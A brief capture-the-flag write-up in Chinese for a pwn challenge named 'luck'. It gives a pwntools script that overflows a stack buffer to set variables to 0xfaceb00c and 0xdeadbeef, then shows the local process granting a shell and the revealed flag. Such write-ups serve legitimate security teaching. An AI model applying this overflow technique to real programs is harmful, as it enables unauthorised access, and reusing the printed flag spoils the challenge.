Pwnctf luck Writeup

luck

這題的目標是符合一系列的條件之後他就會發一個 shell 給我們，
具體條件和區域變數如下：

應該蠻淺顯易懂的 XD，直接上 exploit.py：

from pwn import *

context.arch = 'amd64'
r = process('./luck')

r.recvuntil(b'\n')
r.recvuntil(b'\n')

p = flat(
    b'a'*12,
    p32(0xfaceb00c),
    p32(0xdeadbeef),
    p32(0x1)
)

r.sendline(p)
#r.sendline(b'1')
#r.sendline(b'cat flag')
r.interactive()

result：

└─$ python exploit.py
[+] Starting local process './luck': pid 291024
[*] Switching to interactive mode
You say: aaaaaaaaaaaa\x0c\xb0\xce\xfaﾭ\xde
Hello hacker, now guess the password.
A good hacker always 100% guess right :P, are you a good hacker?
password:$ 1
Here is your shell!
$ cat flag
BreakALLCTF{apFGcJ7XRCfXhsdu5VZl}

Pwned !!!